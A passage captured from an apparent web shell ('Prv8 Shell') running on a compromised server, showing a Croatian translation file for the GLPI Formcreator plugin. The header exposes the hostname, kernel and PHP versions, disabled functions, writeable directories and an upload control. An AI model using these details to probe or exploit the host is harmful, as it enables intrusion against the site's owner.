Prv8 Shell
Server : Apache
System : Linux vps.urbanovitalino.adv.br 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64
User : urbanovitalinoad ( 1001)
PHP Version : 7.3.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/urbanovitalinoad/public_html/servicedesk/marketplace/formcreator/locales/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/urbanovitalinoad/public_html/servicedesk/marketplace/formcreator/locales/hr_HR.po
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
# 
# Translators:
# milotype <mail@milotype.de>, 2021
# 
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: PACKAGE VERSION\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2021-07-20 09:56+0200\n"
"PO-Revision-Date: 2021-06-14 06:58+0000\n"
"Last-Translator: milotype <mail@milotype.de>, 2021\n"
"Language-Team: Croatian (Croatia) (https://www.transifex.com/teclib/teams/28042/hr_HR/)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: hr_HR\n"
"Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;\n"

#: hook.php:68 inc/category.class.php:50 inc/form.class.php:217
msgid "Form category"
msgid_plural "Form categories"
msgstr[0] "Kategorija obrasca"
msgstr[1] "Kategorije obrazaca"
msgstr[2] "Kategorije obrazaca"

#: hook.php:536 setup.php:267 ajax/homepage_link.php:36
#: inc/entityconfig.class.php:69 inc/form.class.php:104 inc/form.class.php:745
#: inc/form.class.php:2207 inc/formanswer.class.php:187
#: inc/formlist.class.php:46 inc/field/dropdownfield.class.php:66
msgid "Form"
msgid_plural "Forms"
msgstr[0] "Obrazac"
msgstr[1] "Obrasci"
msgstr[2] "Obrasci"

#: hook.php:578
msgid "Cancel my ticket"
msgstr "Otkaži moj nalog"

#: setup.php:257 inc/form.class.php:111 inc/formlist.class.php:55
#: inc/formlist.class.php:56
msgid "Forms waiting for validation"
msgstr "Obrasci čekaju na potvrdu"

#: ajax/commontree.php:55
msgid "Subtree root"
msgstr "Korijen podstabla"

#: ajax/commontree.php:59
msgid "Selectable"
msgstr "Selektivno"

#: ajax/commontree.php:74
msgid "Limit subtree depth"
msgstr "Ograniči dubinu podstabla"

#: ajax/commontree.php:84
msgid "No limit"
msgstr "Bez ograničenja"

#: ajax/question_delete.php:48 ajax/question_duplicate.php:49
#: ajax/question_move.php:50 ajax/question_toggle_required.php:55
#: ajax/question_update.php:51 ajax/section_add.php:38
#: ajax/section_delete.php:50 ajax/section_duplicate.php:50
#: ajax/section_move.php:55 ajax/section_update.php:43
msgid "You don't have right for this action"
msgstr "Nemaš prava za ovu radnju"

#: ajax/question_duplicate.php:43
msgid "Source question not found"
msgstr "Izvorno pitanje nije pronađeno"

#: ajax/question_move.php:45 ajax/question_toggle_required.php:49
#: ajax/question_update.php:45
msgid "Question not found"
msgstr "Pitanje nije pronađeno"

#: ajax/question_move.php:73
msgid "Could not move some questions"
msgstr "Nije bilo moguće pomaknuti neka pitanja"

#: ajax/question_update.php:36
msgid "Bad request"
msgstr "Loš zahtjev"

#: ajax/section_add.php:44
msgid "Could not add the section"
msgstr "Nije bilo moguće dodati odjeljak"

#: ajax/section_delete.php:44 ajax/section_duplicate.php:44
#: ajax/section_move.php:49
msgid "Source section not found"
msgstr "Izvorni odjeljak nije pronađen"

#: ajax/section_delete.php:56
msgid "Could not delete the section"
msgstr "Nije bilo moguće izbrisati odjeljak"

#: ajax/section_duplicate.php:56
msgid "Could not duplicate the section"
msgstr "Nije bilo moguće duplicirati odjeljak"

#: ajax/section_move.php:66
msgid "Could not move the section"
msgstr "Nije bilo moguće pomaknuti odjeljak"

#: ajax/section_update.php:49
msgid "Could not update the section"
msgstr "Nije bilo moguće aktualizirati odjeljak"

#: front/form.php:44 front/formanswer.form.php:78 front/formanswer.form.php:83
#: front/formanswer.php:45 front/formanswer.php:50 front/issue.php:47
#: front/issue.php:52 front/targetchange.form.php:76
#: front/targetticket.form.php:76 inc/form.class.php:2273
#: inc/form.class.php:2280
msgid "Form Creator"
msgstr "Stvaratelj obrasca"

#: front/formanswer.form.php:74 front/formanswer.php:41
#: front/issue.form.php:53 front/issue.php:43 front/knowbaseitem.form.php:44
#: front/knowbaseitem.php:40 front/reservation.form.php:45
#: front/reservation.php:45 front/reservationitem.php:41 front/wizard.php:43
#: front/wizardfeeds.php:45 inc/form.class.php:2268
msgid "Service catalog"
msgstr "Katalog usluga"

#: front/formlist.php:46 front/formlist.php:52 inc/form.class.php:2270
msgid "Form list"
msgstr "Popis obrazaca"

#: inc/abstractquestionparameter.class.php:92
msgid "Parameter"
msgstr "Parametar"

#: inc/abstractquestionparameter.class.php:99
msgid "Field name"
msgstr "Ime polja"

#: inc/abstracttarget.class.php:208
msgid "Current active entity"
msgstr "Trenutačno aktivni entitet"

#: inc/abstracttarget.class.php:209
msgid "Default requester user's entity"
msgstr "Standardni podnositelj korisničkog entiteta"

#: inc/abstracttarget.class.php:210
msgid "First dynamic requester user's entity (alphabetical)"
msgstr "Prvi dinamički podnositelj korisničkog entiteta (abecednim redom)"

#: inc/abstracttarget.class.php:211
msgid "Last dynamic requester user's entity (alphabetical)"
msgstr "Zadnji dinamički podnositelj korisničkog entiteta (abecednim redom)"

#: inc/abstracttarget.class.php:212
msgid "The form entity"
msgstr "Entitet obrasca"

#: inc/abstracttarget.class.php:213
msgid "Default entity of the validator"
msgstr "Standardni entitet potvrditelja"

#: inc/abstracttarget.class.php:214
msgid "Specific entity"
msgstr "Određeni entitet"

#: inc/abstracttarget.class.php:215
msgid "Default entity of a user type question answer"
msgstr "Standardni entitet za odgovor na korisničku vrstu pitanja"

#: inc/abstracttarget.class.php:216
msgid "From a GLPI object > Entity type question answer"
msgstr "Od GLPI objekta > Odgovor na entitetsku vrstu pitanja"

#: inc/abstracttarget.class.php:223
msgid "Tags from questions"
msgstr "Oznake iz pitanja"

#: inc/abstracttarget.class.php:224
msgid "Specific tags"
msgstr "Određene oznake"

#: inc/abstracttarget.class.php:225
msgid "Tags from questions and specific tags"
msgstr "Oznake pitanja i određene oznake"

#: inc/abstracttarget.class.php:226
msgid "Tags from questions or specific tags"
msgstr "Oznake pitanja ili određene oznake"

#: inc/abstracttarget.class.php:232
msgid "equals to the answer to the question"
msgstr "jednako je odgovoru na pitanje"

#: inc/abstracttarget.class.php:233
msgid "calculated from the ticket creation date"
msgstr "izračunato iz datuma stvaranja naloga"

#: inc/abstracttarget.class.php:234
msgid "calculated from the answer to the question"
msgstr "izračunato iz odgovora na pitanje"

#: inc/abstracttarget.class.php:240
msgid "SLA from template or none"
msgstr "Ugovor o razini usluge iz predloška ili ništa"

#: inc/abstracttarget.class.php:241
msgid "Specific SLA"
msgstr "Određeni ugovor o razini usluge (SLA)"

#: inc/abstracttarget.class.php:242 inc/abstracttarget.class.php:250
#: inc/abstracttarget.class.php:258 inc/abstracttarget.class.php:266
#: inc/abstracttarget.class.php:275 inc/targetticket.class.php:96
#: inc/targetticket.class.php:105
msgid "Equals to the answer to the question"
msgstr "Jednako je odgovoru na pitanje"

#: inc/abstracttarget.class.php:248
msgid "OLA from template or none"
msgstr "Ugovor o operativnoj raznini iz predloška ili ništa"

#: inc/abstracttarget.class.php:249
msgid "Specific OLA"
msgstr "Određeni ugovor o operativnoj raznini (OLA)"

#: inc/abstracttarget.class.php:256
msgid "Urgency from template or Medium"
msgstr "Hitnost iz predloška ili Srednje"

#: inc/abstracttarget.class.php:257
msgid "Specific urgency"
msgstr "Određena hitnost"

#: inc/abstracttarget.class.php:264
msgid "Category from template or none"
msgstr "Kategorija iz predloška ili ništa"

#: inc/abstracttarget.class.php:265
msgid "Specific category"
msgstr "Određena kategorija"

#: inc/abstracttarget.class.php:267 inc/targetticket.class.php:97
msgid "Last valid answer"
msgstr "Zadnji valjani odgovor"

#: inc/abstracttarget.class.php:273
msgid "Location from template or none"
msgstr "Lokacija iz predloška ili ništa"

#: inc/abstracttarget.class.php:274
msgid "Specific location"
msgstr "Određena lokacija"

#: inc/abstracttarget.class.php:913
msgid "User type question"
msgstr "Korisnička vrsta pitanja"

#: inc/abstracttarget.class.php:914
msgid "Entity type question"
msgstr "Entitetska vrsta pitanja"

#: inc/abstracttarget.class.php:1053
msgid "SLA (TTO/TTR)"
msgstr "Ugovor o razini usluge (vrijeme posjedovanja/vrijeme ispravljanja)"

#: inc/abstracttarget.class.php:1054 inc/abstracttarget.class.php:1125
msgid "Question (TTO/TTR)"
msgstr "Pitanje (vrijeme posjedovanja/vrijeme ispravljanja)"

#: inc/abstracttarget.class.php:1124
msgid "OLA (TTO/TTR)"
msgstr ""
"Ugovor o operativnoj raznini (vrijeme posjedovanja/vrijeme ispravljanja)"

#: inc/abstracttarget.class.php:1173 inc/abstracttarget.class.php:1187
#: inc/form.class.php:829 inc/knowbase.class.php:64
msgid "Category"
msgid_plural "Categories"
msgstr[0] "Kategorija"
msgstr[1] "Kategorije"
msgstr[2] "Kategorije"

#: inc/abstracttarget.class.php:1188 inc/abstracttarget.class.php:1224
#: inc/abstracttarget.class.php:1302 inc/abstracttarget.class.php:1430
#: inc/abstracttarget.class.php:1686 inc/question.class.php:62
#: inc/targetticket.class.php:890 inc/targetticket.class.php:929
msgid "Question"
msgid_plural "Questions"
msgstr[0] "Pitanje"
msgstr[1] "Pitanja"
msgstr[2] "Pitanja"

#: inc/abstracttarget.class.php:1225
msgid "Urgency "
msgstr "Hitnost "

#: inc/abstracttarget.class.php:1255
msgid "Ticket tags"
msgstr "Oznake naloga"

#: inc/abstracttarget.class.php:1303
msgid "Tags"
msgstr "Oznake"

#: inc/abstracttarget.class.php:1388
msgid "Actors"
msgstr "Učesnici"

#: inc/abstracttarget.class.php:1431
msgid "Location "
msgstr "Lokacija "

#: inc/abstracttarget.class.php:1557
msgid "A target must be associated to a form."
msgstr "Cilj mora biti povezan s obrascem."

#: inc/abstracttarget.class.php:1562
msgid "A target must be associated to an existing form."
msgstr "Cilj mora biti povezan s postojećim obrascem."

#: inc/abstracttarget.class.php:1567
msgid "Name is required."
msgstr "Ime je obavezno."

#: inc/abstracttarget.class.php:1594 inc/form.class.php:1435
#: inc/form_language.class.php:108
msgid "The name cannot be empty!"
msgstr "Ime ne može biti prazno!"

#: inc/abstracttarget.class.php:1600
msgid "The description cannot be empty!"
msgstr "Opis ne može biti prazan!"

#: inc/abstracttarget.class.php:1688 inc/answer.class.php:66
msgid "Answer"
msgid_plural "Answers"
msgstr[0] "Odgovor"
msgstr[1] "Odgovori"
msgstr[2] "Odgovori"

#: inc/abstracttarget.class.php:1689 inc/question.class.php:728
#: inc/section.class.php:64
msgid "Section"
msgid_plural "Sections"
msgstr[0] "Odjeljak"
msgstr[1] "Odjeljci"
msgstr[2] "Odjeljci"

#: inc/abstracttarget.class.php:1693
msgid "Full form"
msgstr "Potpun obrazac"

#: inc/abstracttarget.class.php:1867
msgid "Add"
msgstr "Dodaj"

#: inc/abstracttarget.class.php:1869
msgid "Cancel"
msgstr "Odustani"

#: inc/abstracttarget.class.php:2039 inc/target_actor.class.php:66
msgid "Form author"
msgstr "Autor obrasca"

#: inc/abstracttarget.class.php:2042 inc/target_actor.class.php:67
msgid "Form validator"
msgstr "Potvrditelj obrasca"

#: inc/abstracttarget.class.php:2052 inc/target_actor.class.php:69
msgid "Person from the question"
msgstr "Osoba iz pitanja"

#: inc/abstracttarget.class.php:2063 inc/target_actor.class.php:71
msgid "Group from the question"
msgstr "Grupa iz pitanja"

#: inc/abstracttarget.class.php:2069
msgid "Group from the object"
msgstr "Grupa iz objekta"

#: inc/abstracttarget.class.php:2075
msgid "Tech group from the object"
msgstr "Tehnička grupa iz objekta"

#: inc/abstracttarget.class.php:2081 inc/target_actor.class.php:76
msgid "Actors from the question"
msgstr "Učesnici iz pitanja"

#: inc/abstracttarget.class.php:2092 inc/target_actor.class.php:75
msgid "Supplier from the question"
msgstr "Dobavljač iz pitanja"

#: inc/abstracttarget.class.php:2096 inc/target_actor.class.php:77
msgid "Form author's supervisor"
msgstr ""

#: inc/category.class.php:72
msgid "Knowbase category"
msgstr "Kategorija baze znanja"

#: inc/common.class.php:228
msgid "You cannot delete this issue. Maybe it is taken into account."
msgstr "Ovaj se problem ne može izbrisati. Možda je uzet u obzir."

#: inc/common.class.php:233
msgid "Failed to delete this issue. An internal error occured."
msgstr "Neuspjelo brisanje problema. Dogodila se interna greška."

#: inc/condition.class.php:64
msgid "Condition"
msgid_plural "Conditions"
msgstr[0] "Uvjet"
msgstr[1] "Uvjeti"
msgstr[2] "Uvjeti"

#: inc/condition.class.php:103
msgid "is visible"
msgstr "vidljivo"

#: inc/condition.class.php:104
msgid "is not visible"
msgstr "nevidljivo"

#: inc/condition.class.php:105
msgid "regular expression matches"
msgstr "regularni izraz se podudara"

#: inc/condition.class.php:116
msgid "Always displayed"
msgstr "Uvijek prikazano"

#: inc/condition.class.php:117
msgid "Hidden unless"
msgstr "Skriveno, ukoliko"

#: inc/condition.class.php:118
msgid "Displayed unless"
msgstr "Prikazano, osim ako"

#: inc/condition.class.php:177 inc/form.class.php:2102
#: inc/form_language.class.php:537 inc/form_profile.class.php:228
#: inc/form_validator.class.php:110 inc/item_targetticket.class.php:149
#: inc/question.class.php:943 inc/questiondependency.class.php:202
#: inc/questionrange.class.php:204 inc/questionregex.class.php:191
#: inc/section.class.php:343 inc/target_actor.class.php:180
#: inc/targetchange.class.php:261 inc/targetticket.class.php:1196
#, php-format
msgid "Failed to add or update the %1$s %2$s"
msgstr "Neuspjelo dodavanje ili aktualiziranje: %1$s %2$s"

#: inc/condition.class.php:199 inc/form.class.php:1803
#: inc/form_language.class.php:553 inc/form_profile.class.php:245
#: inc/form_validator.class.php:134 inc/item_targetticket.class.php:64
#: inc/question.class.php:992 inc/questiondependency.class.php:217
#: inc/questionrange.class.php:136 inc/questionregex.class.php:123
#: inc/section.class.php:368 inc/target_actor.class.php:201
#: inc/targetchange.class.php:95 inc/targetticket.class.php:1235
#, php-format
msgid "Cannot export an empty object: %s"
msgstr "Nije moguće izvesti prazni objekt: %s"

#: inc/entityconfig.class.php:78
msgid "GLPi's helpdesk"
msgstr "GLPI podrška"

#: inc/entityconfig.class.php:79
msgid "Service catalog simplified"
msgstr "Pojednostavljeni katalog usluga"

#: inc/entityconfig.class.php:80
msgid "Service catalog extended"
msgstr "Prošireni katalog usluga"

#: inc/entityconfig.class.php:87
msgid "Popularity sort"
msgstr "Razvrstavanje po popularnosti"

#: inc/entityconfig.class.php:88
msgid "Alphabetic sort"
msgstr "Razvrstaj abecednim redom"

#: inc/entityconfig.class.php:95
msgid "Merged with Forms"
msgstr "Sjedinjeno s obrascima"

#: inc/entityconfig.class.php:96
msgid "Distinct menu entry"
msgstr "Distinktivan unos u izborniku"

#: inc/entityconfig.class.php:103 inc/entityconfig.class.php:111
msgid "Visible"
msgstr "Vidljivo"

#: inc/entityconfig.class.php:104 inc/entityconfig.class.php:112
msgid "Hidden"
msgstr "Skriveno"

#: inc/entityconfig.class.php:161
msgid "Helpdesk"
msgstr "Podrška"

#: inc/entityconfig.class.php:169 inc/entityconfig.class.php:277
msgid "Helpdesk mode"
msgstr "Modus podrške"

#: inc/entityconfig.class.php:186 inc/entityconfig.class.php:287
msgid "Sort order"
msgstr "Redoslijed"

#: inc/entityconfig.class.php:203 inc/entityconfig.class.php:297
msgid "Knowledge base"
msgstr "Baza znanja"

#: inc/entityconfig.class.php:219
msgid "Search"
msgstr "Traži"

#: inc/entityconfig.class.php:236
msgid "Header message"
msgstr "Poruka zaglavlja"

#: inc/entityconfig.class.php:249 inc/entityconfig.class.php:327
#: inc/form.class.php:226 inc/form.class.php:464
msgid "Header"
msgid_plural "Headers"
msgstr[0] "Zaglavlje"
msgstr[1] "Zaglavlja"
msgstr[2] "Zaglavlja"

#: inc/entityconfig.class.php:307
msgid "Display search field"
msgstr "Prikaži polje pretrage"

#: inc/entityconfig.class.php:317
msgid "Display header"
msgstr "Prikaži zaglavlje"

#: inc/form.class.php:63 inc/form.class.php:361
msgid "Public access"
msgstr "Javni pristup"

#: inc/form.class.php:64 inc/form.class.php:365
msgid "Private access"
msgstr "Privatni pristup"

#: inc/form.class.php:65 inc/form.class.php:369
msgid "Restricted access"
msgstr "Ograničeni pristup"

#: inc/form.class.php:113
msgid "Import forms"
msgstr "Uvezi obrasce"

#: inc/form.class.php:191
msgid "Homepage"
msgstr "Početna stranica"

#: inc/form.class.php:204
msgid "Access"
msgstr "Pristup"

#: inc/form.class.php:248
msgid "Icon"
msgstr "Ikona"

#: inc/form.class.php:256
msgid "Icon color"
msgstr "Boja ikone"

#: inc/form.class.php:264 inc/form.class.php:443
msgid "Background color"
msgstr "Boja pozadine"

#: inc/form.class.php:316 inc/form.class.php:377 inc/form.class.php:458
msgid "All langages"
msgstr "Svi jezici"

#: inc/form.class.php:428
msgid "Direct access on homepage"
msgstr "Izravan pristup na početnoj stranici"

#: inc/form.class.php:436
msgid "Form icon"
msgstr "Ikona za obrasce"

#: inc/form.class.php:476
msgid "Need to be validate?"
msgstr "Mora li se potvrditi?"

#: inc/form.class.php:657
msgid "Default form in service catalog"
msgstr "Standardni obrazac u katalogu usluga"

#: inc/form.class.php:669
msgid "To delete this form you must delete all its answers first."
msgstr ""
"Za brisanje ovog obrasca, potrebno je najprije izbrisati sve njegove "
"odgovore."

#: inc/form.class.php:681 inc/form.class.php:738
msgid "Target"
msgid_plural "Targets"
msgstr[0] "Cilj"
msgstr[1] "Ciljevi"
msgstr[2] "Ciljevi"

#: inc/form.class.php:707 inc/form_language.class.php:334
#: inc/form_language.class.php:373
msgid "Delete"
msgstr "Izbriši"

#: inc/form.class.php:720 inc/form.class.php:2436
msgid "Add a target"
msgstr "Dodaj cilj"

#: inc/form.class.php:830 inc/knowbase.class.php:65
msgid "see all"
msgstr "vidi sve"

#: inc/form.class.php:1152
msgid "What are you looking for?"
msgstr "Što tražiš?"

#: inc/form.class.php:1160
#, php-format
msgid "My %1$d last forms (requester)"
msgstr "Mojih %1$d zadnjih obrazaca (podnositelj)"

#: inc/form.class.php:1163
msgid "No form posted yet"
msgstr "Još nije objavljen nijedan obrazac"

#: inc/form.class.php:1186
msgid "All my forms (requester)"
msgstr "Svi moji obrasci (podnositelj)"

#: inc/form.class.php:1194
#, php-format
msgid "My %1$d last forms (validator)"
msgstr "Mojih %1$d zadnjih obrazaca (potvrditelj)"

#: inc/form.class.php:1202
msgid "No form waiting for validation"
msgstr "Nijedan obrazac ne čeka na potvrdu"

#: inc/form.class.php:1231
msgid "All my forms (validator)"
msgstr "Svi moji obrasci (potvrditelj)"

#: inc/form.class.php:1351 inc/form.class.php:1352
msgid "Are you a robot ?"
msgstr "Jesi li robot?"

#: inc/form.class.php:1393
msgid "Validation"
msgstr "Potvrđivanje"

#: inc/form.class.php:1395
msgid "Choose a validator"
msgstr "Odaberi potvrditelja"

#: inc/form.class.php:1500
#, php-format
msgid "The question %s is not compatible with public forms"
msgstr "Pitanje %s nije kompatibilno s javnim obrascima"

#: inc/form.class.php:1635
msgid "Errored duplicate"
msgstr "Greška u duplikatu"

#: inc/form.class.php:1646
msgid "Duplicate"
msgstr "Dupliciraj"

#: inc/form.class.php:1711
#, php-format
msgid "Form duplicated: %s"
msgstr "Obrazac je dupliciran: %s"

#: inc/form.class.php:1722
#, php-format
msgid "Form Transfered: %s"
msgstr "Obrazac je prenesen: %s"

#: inc/form.class.php:1858
msgid "Upload of JSON files not allowed."
msgstr "Prijenos JSON datoteka nije dozvoljen."

#: inc/form.class.php:1861
msgid "You may allow JSON files right now."
msgstr "Sada smiješ dozvoliti JSON datoteke."

#: inc/form.class.php:1862
msgctxt "button"
msgid "Create"
msgstr "Stvori"

#: inc/form.class.php:1865 inc/form.class.php:1876
msgid "Please contact your GLPI administrator."
msgstr "Obrati se GLPI administratoru."

#: inc/form.class.php:1866 inc/form.class.php:1877
msgctxt "button"
msgid "Back"
msgstr "Natrag"

#: inc/form.class.php:1869
msgid "Upload of JSON files not enabled."
msgstr "Prijenos JSON datoteka nije aktiviran."

#: inc/form.class.php:1872 inc/form.class.php:1875
msgid "You may enable JSON files right now."
msgstr "Sada smiješ aktivirati JSON datoteke."

#: inc/form.class.php:1873
msgctxt "button"
msgid "Enable"
msgstr "Aktiviraj"

#: inc/form.class.php:1939
msgid "Forms import impossible, the file is empty"
msgstr "Uvoz obrazaca nije moguć, datoteka je prazna"

#: inc/form.class.php:1943 inc/form.class.php:1947
msgid "Forms import impossible, the file seems corrupt"
msgstr "Uvoz obrazaca nije moguć, datoteka je pokvarena"

#: inc/form.class.php:1953
msgid "Forms import impossible, the file was generated with another version"
msgstr ""
"Uvoz obrazaca nije moguć, datoteka je stvorena s jednom drugom verzijom"

#: inc/form.class.php:1960
msgid ""
"The file does not specifies the schema version. It was probably generated "
"with a version older than 2.10. Giving up."
msgstr ""
"Datoteka ne navodi verziju sheme. Vjerojatno je generirana starijom verzijom"
" od 2.10. Prekida se."

#: inc/form.class.php:1986
#, php-format
msgid "Failed to import %s"
msgstr "Nije bilo moguće uvesti %s"

#: inc/form.class.php:1991
#, php-format
msgid "Forms successfully imported from %s"
msgstr "Obrasci su uspješno uvezeni iz %s"

#: inc/form.class.php:2057
#, php-format
msgid "The form %1$s already exists and is in an unmodifiable entity."
msgstr "Obrazac %1$s već postoji i nije promjenjiv entitet."

#: inc/form.class.php:2065
#, php-format
msgid "The entity %1$s is required for the form %2$s."
msgstr "Obrazac %1$s je potreban za obrazac %2$s."

#: inc/form.class.php:2142
msgid "Failed to create JSON document type"
msgstr "Neuspjelo stvaranje JSON vrste dokumenta"

#: inc/form.class.php:2149
msgid "JSON document type not found"
msgstr "JSON vrsta dokumenta nije pronađena"

#: inc/form.class.php:2156
msgid "Failed to update JSON document type"
msgstr "Neuspjelo aktualiziranje JSON vrste dokumenta"

#: inc/form.class.php:2176
msgid "Forms without category"
msgstr "Obrasci bez kategorije"

#: inc/form.class.php:2199
msgid "No form available"
msgstr "Nema obrasca"

#: inc/form.class.php:2478
msgid "Unsupported target type."
msgstr "Nepodržana vrsta cilja."

#: inc/form.class.php:2501
msgid "Unsuported target type."
msgstr "Nepodržana vrsta cilja."

#: inc/form.class.php:2540
msgid "plugin_formcreator_load_check"
msgstr "plugin_formcreator_load_check"

#: inc/form_language.class.php:51
msgid "Form language"
msgid_plural "Form languages"
msgstr[0] "Jezik obrasca"
msgstr[1] "Jezici obrasca"
msgstr[2] "Jezici obrasca"

#: inc/form_language.class.php:69 inc/form_language.class.php:345
msgid "Translation"
msgid_plural "Translations"
msgstr[0] "Prijevod"
msgstr[1] "Prijevodi"
msgstr[2] "Prijevodi"

#: inc/form_language.class.php:116
msgid "The language must be associated to a form!"
msgstr "Jezik mora biti povezan s jednim obrascem!"

#: inc/form_language.class.php:246 inc/form_language.class.php:280
msgid "Add a translation"
msgstr "Dodaj prijevod"

#: inc/form_language.class.php:308 inc/form_language.class.php:310
msgid "New translation"
msgstr "Novi prijevod"

#: inc/form_language.class.php:313
msgid "Filter list"
msgstr "Filtriraj popis"

#: inc/form_language.class.php:318 inc/form_language.class.php:410
msgid "No translation found"
msgstr "Nema prijevoda"

#: inc/form_language.class.php:323
msgid "Do you want to delete the selected items?"
msgstr "Želiš li izbrisati odabrane predmete?"

#: inc/form_language.class.php:344
msgid "Original string"
msgstr "Izvorni izraz"

#: inc/form_profile.class.php:48 inc/form_profile.class.php:87
msgid "Access type"
msgid_plural "Access types"
msgstr[0] "Vrsta pristupa"
msgstr[1] "Vrste pristupa"
msgstr[2] "Vrste pristupa"

#: inc/form_profile.class.php:101
msgid "Link to the form"
msgstr "Poveznica na obrazac"

#: inc/form_profile.class.php:114
msgid "Please activate the form to view the link"
msgstr "Aktiviraj obrazac za prikaz poveznice"

#: inc/form_profile.class.php:122
msgid "Enable captcha"
msgstr "Aktiviraj captcha"

#: inc/formanswer.class.php:62
msgid "Waiting"
msgstr "Čekanje"

#: inc/formanswer.class.php:63 inc/issue.class.php:648
msgid "Refused"
msgstr "Odbijeno"

#: inc/formanswer.class.php:64
msgid "Accepted"
msgstr "Prihvaćeno"

#: inc/formanswer.class.php:164 inc/issue.class.php:642
msgid "Form answer"
msgid_plural "Form answers"
msgstr[0] "Odgovor iz obrasca"
msgstr[1] "Odgovori iz obrasca"
msgstr[2] "Odgovori iz obrasca"

#: inc/formanswer.class.php:207 inc/issue.class.php:505
msgid "Form approver"
msgstr "Odobravatelj obrazaca"

#: inc/formanswer.class.php:226 inc/issue.class.php:625
msgid "Form approver group"
msgstr "Grupa odobravatelja obrazaca"

#: inc/formanswer.class.php:496
msgid "Print this form"
msgstr "Ispiši ovaj obrazac"

#: inc/formanswer.class.php:517
msgid "Form accepted by validator."
msgstr "Obrazac prihvaćen od potvrditelja."

#: inc/formanswer.class.php:519
msgid "Form successfully saved."
msgstr "Obrazac je uspješno spremljen."

#: inc/formanswer.class.php:583 inc/notificationtargetformanswer.class.php:79
msgid "Requester"
msgstr "Podnositelj"

#: inc/formanswer.class.php:598
msgid "Comment"
msgstr "Komentar"

#: inc/formanswer.class.php:603
msgid "Required if refused"
msgstr "Obavezno, ako je odbijeno"

#: inc/formanswer.class.php:609
msgid "Refuse"
msgstr "Odbij"

#: inc/formanswer.class.php:617
msgid "Edit answers"
msgstr "Uredi odgovor"

#: inc/formanswer.class.php:623
msgid "Cancel edition"
msgstr "Otkaži izdanje"

#: inc/formanswer.class.php:631
msgid "Accept"
msgstr "Prihvati"

#: inc/formanswer.class.php:648
msgid "Refused comment is required!"
msgstr "Potreban je komentar za odbijanje!"

#: inc/formanswer.class.php:733
msgid "You are not the validator of these answers"
msgstr "Nisi potvrditelj ovih odgovora"

#: inc/formanswer.class.php:818 inc/formanswer.class.php:1006
#: inc/formanswer.class.php:1049
msgid "The form has been successfully saved!"
msgstr "Obrazac je uspješno spremljen!"

#: inc/formanswer.class.php:875 inc/formanswer.class.php:877
msgid "Form data"
msgstr "Podaci obrasca"

#: inc/formanswer.class.php:993 inc/formanswer.class.php:1036
msgid "Cannot generate targets!"
msgstr "Nije moguće generirati ciljeve!"

#: inc/formanswer.class.php:1144
msgid "No turing test set"
msgstr "Nije postavljen nijedan Turingov test"

#: inc/formanswer.class.php:1149
msgid "You failed the Turing test"
msgstr "Turingov test nije položen"

#: inc/formanswer.class.php:1167
msgid "You must select validator!"
msgstr "Moraš odabrati potvrditelja!"

#: inc/issue.class.php:40 inc/issue.class.php:408
msgid "Issue"
msgid_plural "Issues"
msgstr[0] "Problem"
msgstr[1] "Problemi"
msgstr[2] "Problemi"

#: inc/issue.class.php:53
msgid "Update issue data from tickets and form answers"
msgstr "Aktualiziraj podatke problema iz naloga i odgovora na obrascu"

#: inc/issue.class.php:529
msgid "Ticket approver"
msgstr "Odobravatelj naloga"

#: inc/issue.class.php:647
msgid "Not validated"
msgstr "Nije potvrđeno"

#: inc/item_targetticket.class.php:52
msgid "Composite ticket relation"
msgid_plural "Composite ticket relations"
msgstr[0] "Složen odnos naloga"
msgstr[1] "Složeni odnosi naloga"
msgstr[2] "Složeni odnosi naloga"

#: inc/knowbase.class.php:89
msgid "Please, describe your need here"
msgstr "Ovdje opiši tvoju potrebu"

#: inc/linker.class.php:78
msgid "Importing"
msgstr "Uvoz u tijeku"

#: inc/notificationtargetformanswer.class.php:43
msgid "The form as been saved"
msgstr "Obrazac kao što je spremljen"

#: inc/notificationtargetformanswer.class.php:44 install/install.php:283
msgid "A form need to be validate"
msgstr "Potrebno je potvrditi jedan obrazac"

#: inc/notificationtargetformanswer.class.php:45 install/install.php:289
msgid "The form is refused"
msgstr "Obrazac je odbijen"

#: inc/notificationtargetformanswer.class.php:46 install/install.php:295
msgid "The form is accepted"
msgstr "Obrazac je prihvaćen"

#: inc/notificationtargetformanswer.class.php:47 install/install.php:301
msgid "The form is deleted"
msgstr "Obrazac je izbrisan"

#: inc/notificationtargetformanswer.class.php:77
msgid "Form #"
msgstr "Broj obrasca"

#: inc/notificationtargetformanswer.class.php:78
msgid "Form name"
msgstr "Ime obrasca"

#: inc/notificationtargetformanswer.class.php:80
msgid "Validator"
msgstr "Potvrditelj"

#: inc/notificationtargetformanswer.class.php:82
msgid "Full form answers"
msgstr "Odgovori potpunog obrasca"

#: inc/notificationtargetformanswer.class.php:83
msgid "Refused comment"
msgstr "Komentar za odbijanje"

#: inc/notificationtargetformanswer.class.php:84
msgid "Validation link"
msgstr "Poveznica potvrđivanja"

#: inc/notificationtargetformanswer.class.php:85
msgid "Request #"
msgstr "Broj zahtjeva"

#: inc/question.class.php:179 inc/section.class.php:421
msgid "Add a section"
msgstr "Dodaj odjeljak"

#: inc/question.class.php:191
msgid "Show submit button"
msgstr "Prikaži gumb za slanje"

#: inc/question.class.php:238 inc/section.class.php:553
msgid "Count of conditions"
msgstr "Broj uvjeta"

#: inc/question.class.php:327 inc/section.class.php:96
#: inc/section.class.php:134
msgid "The title is required"
msgstr "Naslov se mora zadati"

#: inc/question.class.php:335
msgid "The field type is required"
msgstr "Vrsta polja se mora zadati"

#: inc/question.class.php:342
msgid "The section is required"
msgstr "Odjeljak se mora zadati"

#: inc/question.class.php:354
#, php-format
msgid "Field type %1$s is not available for question %2$s."
msgstr "Vrsta polja %1$s nije dostupna za pitanje %2$s."

#: inc/question.class.php:367
msgid "This type of question is not compatible with public forms."
